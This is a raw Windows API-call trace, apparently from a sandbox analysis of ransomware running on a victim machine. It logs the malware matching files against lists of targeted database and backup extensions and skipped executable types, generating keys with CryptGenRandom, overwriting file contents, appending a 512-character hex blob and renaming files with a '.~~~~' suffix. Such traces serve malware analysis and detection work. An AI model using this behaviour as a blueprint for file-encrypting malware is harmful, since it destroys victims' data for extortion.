	[0135.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba223cb0, dwHighDateTime=0x1d60e1e)) 
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825160
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825160 | out: hHeap=0x300000) returned 1
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0135.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0135.377] GetLastError () returned 0x0
	[0135.377] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0135.377] GetLastError () returned 0x0
	[0135.447] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.447] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0135.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.447] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.447] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.451] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.451] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.451] CloseHandle (hObject=0xc4) returned 1
	[0135.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5540
	[0135.537] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.~~~~")) returned 1
	[0135.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5540 | out: hHeap=0x300000) returned 1
	[0135.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.540] GetLastError () returned 0x0
	[0135.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".scr") returned 0x0
	[0135.541] lstrlenW (lpString=".cmd") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".cmd") returned 0x0
	[0135.541] lstrlenW (lpString=".dll") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dll") returned 0x0
	[0135.541] lstrlenW (lpString=".bat") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".bat") returned 0x0
	[0135.541] lstrlenW (lpString=".cpl") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".cpl") returned 0x0
	[0135.541] lstrlenW (lpString=".sys") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".sys") returned 0x0
	[0135.541] lstrlenW (lpString=".msc") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".msc") returned 0x0
	[0135.541] lstrlenW (lpString=".com") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".com") returned 0x0
	[0135.541] lstrlenW (lpString=".lnk") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".lnk") returned 0x0
	[0135.541] lstrlenW (lpString=".msp") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".msp") returned 0x0
	[0135.541] lstrlenW (lpString=".pif") returned 4
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".pif") returned 0x0
	[0135.541] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0135.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.544] lstrlenW (lpString=".sqb") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".sqb") returned 0x0
	[0135.544] lstrlenW (lpString=".ost") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".ost") returned 0x0
	[0135.544] lstrlenW (lpString=".txt") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".txt") returned 0x0
	[0135.544] lstrlenW (lpString=".mdt") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".mdt") returned 0x0
	[0135.544] lstrlenW (lpString=".BDB") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".BDB") returned 0x0
	[0135.544] lstrlenW (lpString=".eql") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".eql") returned 0x0
	[0135.544] lstrlenW (lpString=".DBF") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DBF") returned 0x0
	[0135.544] lstrlenW (lpString=".EQL") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".EQL") returned 0x0
	[0135.544] lstrlenW (lpString=".FDB") returned 4
	[0135.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".FDB") returned 0x0
	[0135.545] lstrlenW (lpString=".EDB") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".EDB") returned 0x0
	[0135.545] lstrlenW (lpString=".DACPAC") returned 7
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DACPAC") returned 0x0
	[0135.545] lstrlenW (lpString=".VHD") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".VHD") returned 0x0
	[0135.545] lstrlenW (lpString=".DBV") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DBV") returned 0x0
	[0135.545] lstrlenW (lpString=".dacpac") returned 7
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dacpac") returned 0x0
	[0135.545] lstrlenW (lpString=".sdf") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".sdf") returned 0x0
	[0135.545] lstrlenW (lpString=".accdb") returned 6
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".accdb") returned 0x0
	[0135.545] lstrlenW (lpString=".DBX") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DBX") returned 0x0
	[0135.545] lstrlenW (lpString=".MDT") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".MDT") returned 0x0
	[0135.545] lstrlenW (lpString=".SQB") returned 4
	[0135.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".SQB") returned 0x0
	[0135.545] lstrlenW (lpString=".vhd") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".vhd") returned 0x0
	[0135.546] lstrlenW (lpString=".bac") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".bac") returned 0x0
	[0135.546] lstrlenW (lpString=".mdf") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".mdf") returned 0x0
	[0135.546] lstrlenW (lpString=".BAK") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".BAK") returned 0x0
	[0135.546] lstrlenW (lpString=".BAC") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".BAC") returned 0x0
	[0135.546] lstrlenW (lpString=".dbs") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dbs") returned 0x0
	[0135.546] lstrlenW (lpString=".vhdx") returned 5
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".vhdx") returned 0x0
	[0135.546] lstrlenW (lpString=".NDF") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".NDF") returned 0x0
	[0135.546] lstrlenW (lpString=".dat") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dat") returned 0x0
	[0135.546] lstrlenW (lpString=".DBS") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DBS") returned 0x0
	[0135.546] lstrlenW (lpString=".CKP") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".CKP") returned 0x0
	[0135.546] lstrlenW (lpString=".edb") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".edb") returned 0x0
	[0135.546] lstrlenW (lpString=".PST") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".PST") returned 0x0
	[0135.546] lstrlenW (lpString=".dbf") returned 4
	[0135.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dbf") returned 0x0
	[0135.546] lstrlenW (lpString=".SQL") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".SQL") returned 0x0
	[0135.547] lstrlenW (lpString=".pst") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".pst") returned 0x0
	[0135.547] lstrlenW (lpString=".dbv") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dbv") returned 0x0
	[0135.547] lstrlenW (lpString=".SDF") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".SDF") returned 0x0
	[0135.547] lstrlenW (lpString=".dtxs") returned 5
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dtxs") returned 0x0
	[0135.547] lstrlenW (lpString=".db3") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".db3") returned 0x0
	[0135.547] lstrlenW (lpString=".OST") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".OST") returned 0x0
	[0135.547] lstrlenW (lpString=".dbx") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dbx") returned 0x0
	[0135.547] lstrlenW (lpString=".DB3") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DB3") returned 0x0
	[0135.547] lstrlenW (lpString=".DAT") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DAT") returned 0x0
	[0135.547] lstrlenW (lpString=".VHDX") returned 5
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".VHDX") returned 0x0
	[0135.547] lstrlenW (lpString=".ndf") returned 4
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".ndf") returned 0x0
	[0135.547] lstrlenW (lpString=".DB") returned 3
	[0135.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DB") returned 0x0
	[0135.547] lstrlenW (lpString=".sql") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".sql") returned 0x0
	[0135.548] lstrlenW (lpString=".MYD") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".MYD") returned 0x0
	[0135.548] lstrlenW (lpString=".DBT") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DBT") returned 0x0
	[0135.548] lstrlenW (lpString=".ACCDB") returned 6
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".ACCDB") returned 0x0
	[0135.548] lstrlenW (lpString=".fdb") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".fdb") returned 0x0
	[0135.548] lstrlenW (lpString=".bak") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".bak") returned 0x0
	[0135.548] lstrlenW (lpString=".myd") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".myd") returned 0x0
	[0135.548] lstrlenW (lpString=".DTXS") returned 5
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".DTXS") returned 0x0
	[0135.548] lstrlenW (lpString=".ckp") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".ckp") returned 0x0
	[0135.548] lstrlenW (lpString=".dbt") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".dbt") returned 0x0
	[0135.548] lstrlenW (lpString=".db") returned 3
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".db") returned 0x0
	[0135.548] lstrlenW (lpString=".TXT") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".TXT") returned 0x0
	[0135.548] lstrlenW (lpString=".MDF") returned 4
	[0135.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".MDF") returned 0x0
	[0135.549] lstrlenW (lpString=".bdb") returned 4
	[0135.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".bdb") returned 0x0
	[0135.549] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.549] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x29085c0) returned 1
	[0135.550] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.550] CryptReleaseContext (hProv=0x29085c0, dwFlags=0x0) returned 1
	[0135.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.550] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25554054929) returned 1
	[0135.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xba3c6bd0, dwHighDateTime=0x1d60e1e)) 
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4af8
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4af8 | out: hHeap=0x300000) returned 1
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8268
	[0135.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0135.552] GetLastError () returned 0x0
	[0135.552] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0135.552] GetLastError () returned 0x0
	[0135.573] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff2078, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.573] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xdf88, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xdf88, lpOverlapped=0x0) returned 1
	[0135.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0135.574] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.574] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.574] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.574] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.575] CloseHandle (hObject=0xc4) returned 1
	[0135.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0135.575] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.~~~~")) returned 1
	[0135.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0135.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.578] GetLastError () returned 0x0
	[0135.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll", lpSrch=".scr") returned 0x0
	[0135.578] lstrlenW (lpString=".cmd") returned 4
	[0135.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll", lpSrch=".cmd") returned 0x0
	[0135.578] lstrlenW (lpString=".dll") returned 4
	[0135.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll", lpSrch=".dll") returned=".dll"
	[0135.578] lstrlenW (lpString=".dll") returned 4
	[0135.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdd98 | out: hHeap=0x300000) returned 1
	[0135.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.578] RtlWakeConditionVariable () returned 0x365f70
	[0135.578] GetCurrentThreadId () returned 0x3a4
	[0135.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".scr") returned 0x0
	[0135.578] lstrlenW (lpString=".cmd") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".cmd") returned 0x0
	[0135.579] lstrlenW (lpString=".dll") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".dll") returned 0x0
	[0135.579] lstrlenW (lpString=".bat") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".bat") returned 0x0
	[0135.579] lstrlenW (lpString=".cpl") returned 4
	[0135.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC", lpSrch=".cpl") returned 0x0
	[0135.579] lstrlenW (lpString=".sys") returned 4
